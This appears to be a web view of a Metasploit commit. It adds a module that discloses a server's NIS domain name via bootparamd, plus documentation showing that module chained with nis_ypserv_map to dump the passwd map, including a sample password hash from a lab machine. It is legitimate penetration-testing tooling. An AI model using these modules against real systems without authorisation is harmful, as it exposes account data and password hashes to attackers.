Browse Source

Land #9402, NIS bootparamd domain name disclosure

William Vu 1 year ago
parent
commit
e5bd36da1c
No account linked to committer's email address

+ 110
- 0
documentation/modules/auxiliary/gather/nis_bootparamd_domain.md View File

@@ -0,0 +1,110 @@
1
+## Intro
2
+
3
+From the `bootparamd(8)` man page:
4
+
5
+> bootparamd is a server process that provides information to diskless clients necessary for booting. It consults the /etc/bootparams file to find the information it needs.
6
+
7
+The module documented within will allow a tester to disclose the NIS
8
+domain name from a server running `bootparamd`. After knowing the domain
9
+name, the tester can follow up with `auxiliary/gather/nis_ypserv_map` to
10
+dump a map from a compatible NIS server (running as `ypserv`).
11
+
12
+## Setup
13
+
14
+Set up NIS as per <https://help.ubuntu.com/community/SettingUpNISHowTo>.
15
+If the link is down, you can find it via the Wayback Machine.
16
+
17
+After that is done, install `bootparamd` however your OS provides it.
18
+
19
+Make sure you add a client to the `bootparams` file, which is usually at
20
+`/etc/bootparams`.
21
+
22
+Here is an example `bootparams` file (courtesy of
23
+[@bcoles](https://github.com/bcoles)):
24
+
25
+```
26
+clientname root=nfsserver:/export/clientname/root
27
+```
28
+
29
+You can read the `bootparams(5)` man page for more info.
30
+
31
+Lastly, the client should be added to `/etc/hosts` if it isn't already
32
+resolvable.
33
+
34
+## Options
35
+
36
+**PROTOCOL**
37
+
38
+Set this to either TCP or UDP. UDP is the default due to `bootparamd`.
39
+
40
+**CLIENT**
41
+
42
+Set this to the address of a client in the target's `bootparams` file.
43
+Usually this is a host within the same network range as the target.
44
+
45
+**XDRTimeout**
46
+
47
+Set this to the timeout in seconds for XDR decoding of the response.
48
+
49
+## Usage
50
+
51
+```
52
+msf > use auxiliary/gather/nis_bootparamd_domain
53
+msf auxiliary(gather/nis_bootparamd_domain) > set rhost 192.168.33.10
54
+rhost => 192.168.33.10
55
+msf auxiliary(gather/nis_bootparamd_domain) > set client 192.168.33.10
56
+client => 192.168.33.10
57
+msf auxiliary(gather/nis_bootparamd_domain) > run
58
+
59
+[+] 192.168.33.10:111 - NIS domain name for host ubuntu-xenial (192.168.33.10) is gesellschaft
60
+[*] Auxiliary module execution completed
61
+msf auxiliary(gather/nis_bootparamd_domain) >
62
+```
63
+
64
+After disclosing the domain name, you can use
65
+`auxiliary/gather/nis_ypserv_map` to dump a map from a compatible NIS
66
+server.
67
+
68
+```
69
+msf auxiliary(gather/nis_bootparamd_domain) > use auxiliary/gather/nis_ypserv_map
70
+msf auxiliary(gather/nis_ypserv_map) > set rhost 192.168.33.10
71
+rhost => 192.168.33.10
72
+msf auxiliary(gather/nis_ypserv_map) > set domain gesellschaft
73
+domain => gesellschaft
74
+msf auxiliary(gather/nis_ypserv_map) > run
75
+
76
+[+] 192.168.33.10:111 - Dumping map passwd.byname on domain gesellschaft:
77
+list:*:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
78
+ubuntu:$6$LXFAVGTO$yiCXi1KjLynOrapuhJE7tKnvdwknDMKiKM7Z8ZB19ht6CHmsS.CbUTm8q0cy5fFHEqA.Sg4Acl.0UtY.Y0JNE1:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
79
+games:*:5:60:games:/usr/games:/usr/sbin/nologin
80
+news:*:9:9:news:/var/spool/news:/usr/sbin/nologin
81
+lp:*:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
82
+sys:*:3:3:sys:/dev:/usr/sbin/nologin
83
+backup:*:34:34:backup:/var/backups:/usr/sbin/nologin
84
+uucp:*:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
85
+systemd-resolve:*:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
86
+man:*:6:12:man:/var/cache/man:/usr/sbin/nologin
87
+bin:*:2:2:bin:/bin:/usr/sbin/nologin
88
+gnats:*:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
89
+sync:*:4:65534:sync:/bin:/bin/sync
90
+systemd-network:*:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
91
+uuidd:*:108:112::/run/uuidd:/bin/false
92
+dnsmasq:*:109:65534:dnsmasq,,,:/var/lib/misc:/bin/false
93
+root:*:0:0:root:/root:/bin/bash
94
+sshd:*:110:65534::/var/run/sshd:/usr/sbin/nologin
95
+systemd-bus-proxy:*:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
96
+irc:*:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
97
+messagebus:*:107:111::/var/run/dbus:/bin/false
98
+_apt:*:105:65534::/nonexistent:/bin/false
99
+mail:*:8:8:mail:/var/mail:/usr/sbin/nologin
100
+syslog:*:104:108::/home/syslog:/bin/false
101
+daemon:*:1:1:daemon:/usr/sbin:/usr/sbin/nologin
102
+systemd-timesync:*:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
103
+pollinate:*:111:1::/var/cache/pollinate:/bin/false
104
+www-data:*:33:33:www-data:/var/www:/usr/sbin/nologin
105
+proxy:*:13:13:proxy:/bin:/usr/sbin/nologin
106
+lxd:*:106:65534::/var/lib/lxd/:/bin/false
107
+
108
+[*] Auxiliary module execution completed
109
+msf auxiliary(gather/nis_ypserv_map) >
110
+```

+ 2
- 1
lib/rex/proto/sunrpc/client.rb View File

@@ -179,7 +179,8 @@ class Client
179 179
     buf = nil
180 180
     begin
181 181
       Timeout.timeout(maxwait) { buf = sock.get }
182
-    rescue ::Timeout
182
+    rescue Timeout::Error
183
+      raise RPCTimeout
183 184
     end
184 185
 
185 186
     return nil if not buf

+ 148
- 0
modules/auxiliary/gather/nis_bootparamd_domain.rb View File

@@ -0,0 +1,148 @@
1
+##
2
+# This module requires Metasploit: https://metasploit.com/download
3
+# Current source: https://github.com/rapid7/metasploit-framework
4
+##
5
+
6
+class MetasploitModule < Msf::Auxiliary
7
+
8
+  include Msf::Exploit::Remote::SunRPC
9
+  include Msf::Auxiliary::Report
10
+
11
+  def initialize(info = {})
12
+    super(update_info(info,
13
+      'Name'        => 'NIS bootparamd Domain Name Disclosure',
14
+      'Description' => %q{
15
+        This module discloses the NIS domain name from bootparamd.
16
+
17
+        You must know a client address from the target's bootparams file.
18
+
19
+        Hint: try hosts within the same network range as the target.
20
+      },
21
+      'Author'      => [
22
+        'SATAN',         # boot.c
23
+        'pentestmonkey', # Blog post
24
+        'wvu'            # Metasploit module
25
+      ],
26
+      'References'  => [
27
+        ['URL', 'https://tools.ietf.org/html/rfc1831'],
28
+        ['URL', 'https://tools.ietf.org/html/rfc4506'],
29
+        ['URL', 'http://pentestmonkey.net/blog/nis-domain-name']
30
+      ],
31
+      'License'     => MSF_LICENSE
32
+    ))
33
+
34
+    register_options([
35
+      OptEnum.new('PROTOCOL',  [true, 'Protocol to use', 'udp', %w{tcp udp}]),
36
+      OptAddress.new('CLIENT', [true, "Client from target's bootparams file"])
37
+    ])
38
+
39
+    register_advanced_options([
40
+      OptFloat.new('XDRTimeout', [true, 'XDR decoding timeout', 10.0])
41
+    ])
42
+  end
43
+
44
+  def run
45
+    proto  = datastore['PROTOCOL']
46
+    client = datastore['CLIENT']
47
+
48
+    begin
49
+      sunrpc_create(
50
+        proto,  # Protocol: UDP (17)
51
+        100026, # Program: BOOTPARAMS (100026)
52
+        1       # Program Version: 1
53
+      )
54
+    rescue Rex::ConnectionError
55
+      fail_with(Failure::Unreachable, 'Could not connect to portmapper')
56
+    rescue Rex::Proto::SunRPC::RPCError
57
+      fail_with(Failure::Unreachable, 'Could not connect to bootparamd')
58
+    end
59
+
60
+    # Flavor: AUTH_NULL (0)
61
+    sunrpc_authnull
62
+
63
+    # Convert ASCII to network byte order to four unsigned chars :(
64
+    client_addr = Rex::Socket.addr_aton(client).unpack('C4')
65
+
66
+    bootparam_whoami = Rex::Encoder::XDR.encode(
67
+      1,           # Address Type: IPv4-ADDR (1)
68
+      *client_addr # Client Address: [redacted]
69
+    )
70
+
71
+    begin
72
+      res = sunrpc_call(
73
+        1,               # Procedure: WHOAMI (1)
74
+        bootparam_whoami # Boot Parameters
75
+      )
76
+    rescue Rex::Proto::SunRPC::RPCError
77
+      fail_with(Failure::NotFound, 'Could not call bootparamd procedure')
78
+    rescue Rex::Proto::SunRPC::RPCTimeout
79
+      fail_with(Failure::NotVulnerable,
80
+                'Could not disclose NIS domain name (try another CLIENT?)')
81
+    ensure
82
+      # Shut it down! Shut it down forever!
83
+      sunrpc_destroy
84
+    end
85
+
86
+    unless res
87
+      fail_with(Failure::Unknown, 'No response from server')
88
+    end
89
+
90
+    bootparams = begin
91
+      Timeout.timeout(datastore['XDRTimeout']) do
92
+        parse_bootparams(res)
93
+      end
94
+    rescue Timeout::Error
95
+      fail_with(Failure::TimeoutExpired,
96
+                'XDR decoding timed out (try increasing XDRTimeout?)')
97
+    end
98
+
99
+    if bootparams.blank?
100
+      fail_with(Failure::Unknown, 'Could not parse bootparams')
101
+    end
102
+
103
+    bootparams.each do |host, domain|
104
+      msg = "NIS domain name for host #{host} (#{client}) is #{domain}"
105
+
106
+      print_good(msg)
107
+
108
+      report_note(
109
+        host:  rhost,
110
+        port:  rport,
111
+        proto: proto,
112
+        type:  'nis.bootparamd.domain',
113
+        data:  msg
114
+      )
115
+    end
116
+  end
117
+
118
+  def parse_bootparams(res)
119
+    bootparams = {}
120
+
121
+    loop do
122
+      begin
123
+        # XXX: res is modified in place
124
+        host, domain, _, _, _, _, _ = Rex::Encoder::XDR.decode!(
125
+          res,
126
+          String,  # Client Host: [redacted]
127
+          String,  # Client Domain: [redacted]
128
+          Integer, # Address Type: IPv4-ADDR (1)
129
+          # One int per octet in an IPv4 address
130
+          Integer, # Router Address: [redacted]
131
+          Integer, # Router Address: [redacted]
132
+          Integer, # Router Address: [redacted]
133
+          Integer  # Router Address: [redacted]
134
+        )
135
+
136
+        break unless host && domain
137
+
138
+        bootparams[host] = domain
139
+      rescue Rex::ArgumentError
140
+        vprint_status("Finished XDR decoding at #{res.inspect}")
141
+        break
142
+      end
143
+    end
144
+
145
+    bootparams
146
+  end
147
+
148
+end

+ 14
- 16
modules/auxiliary/gather/nis_ypserv_map.rb View File

@@ -58,11 +58,9 @@ class MetasploitModule < Msf::Auxiliary
58 58
         2       # Program Version: 2
59 59
       )
60 60
     rescue Rex::ConnectionError
61
-      print_error('Could not connect to portmapper')
62
-      return
61
+      fail_with(Failure::Unreachable, 'Could not connect to portmapper')
63 62
     rescue Rex::Proto::SunRPC::RPCError
64
-      print_error('Could not connect to ypserv')
65
-      return
63
+      fail_with(Failure::Unreachable, 'Could not connect to ypserv')
66 64
     end
67 65
 
68 66
     # Flavor: AUTH_NULL (0)
@@ -80,15 +78,14 @@ class MetasploitModule < Msf::Auxiliary
80 78
         ypserv_all_call # Yellow Pages Service ALL call
81 79
       )
82 80
     rescue Rex::Proto::SunRPC::RPCError
83
-      print_error('Could not call ypserv procedure')
84
-      return
81
+      fail_with(Failure::NotFound, 'Could not call ypserv procedure')
85 82
     ensure
86 83
       # Shut it down! Shut it down forever!
87 84
       sunrpc_destroy
88 85
     end
89 86
 
90
-    if res.nil? || res.length < 8
91
-      print_error('Invalid response from server')
87
+    unless res && res.length > 8
88
+      fail_with(Failure::UnexpectedReply, 'Invalid response from server')
92 89
       return
93 90
     end
94 91
 
@@ -96,12 +93,10 @@ class MetasploitModule < Msf::Auxiliary
96 93
     case res[4, 4].unpack('l>').first
97 94
     # Status: YP_NOMAP (-1)
98 95
     when -1
99
-      print_error("Invalid map #{map_name} specified")
100
-      return
96
+      fail_with(Failure::BadConfig, "Invalid map #{map_name} specified")
101 97
     # Status: YP_NODOM (-2)
102 98
     when -2
103
-      print_error("Invalid domain #{domain} specified")
104
-      return
99
+      fail_with(Failure::BadConfig, "Invalid domain #{domain} specified")
105 100
     end
106 101
 
107 102
     map = begin
@@ -109,12 +104,13 @@ class MetasploitModule < Msf::Auxiliary
109 104
         parse_map(res)
110 105
       end
111 106
     rescue Timeout::Error
112
-      print_error('XDR decoding timed out (try increasing XDRTimeout?)')
107
+      fail_with(Failure::TimeoutExpired,
108
+                'XDR decoding timed out (try increasing XDRTimeout?)')
113 109
       return
114 110
     end
115 111
 
116
-    if map.nil? || map.empty?
117
-      print_error("Could not parse map #{map_name}")
112
+    if map.blank?
113
+      fail_with(Failure::Unknown, "Could not parse map #{map_name}")
118 114
       return
119 115
     end
120 116
 
@@ -140,7 +136,9 @@ class MetasploitModule < Msf::Auxiliary
140 136
           String   # Key: [redacted]
141 137
         )
142 138
 
143
-        status == 1 ? map[key] = value : break
139
+        break unless status == 1 && key && value
140
+
141
+        map[key] = value
144 142
       rescue Rex::ArgumentError
145 143
         vprint_status("Finished XDR decoding at #{res.inspect}")
146 144
         break

Loading…
Cancel
Save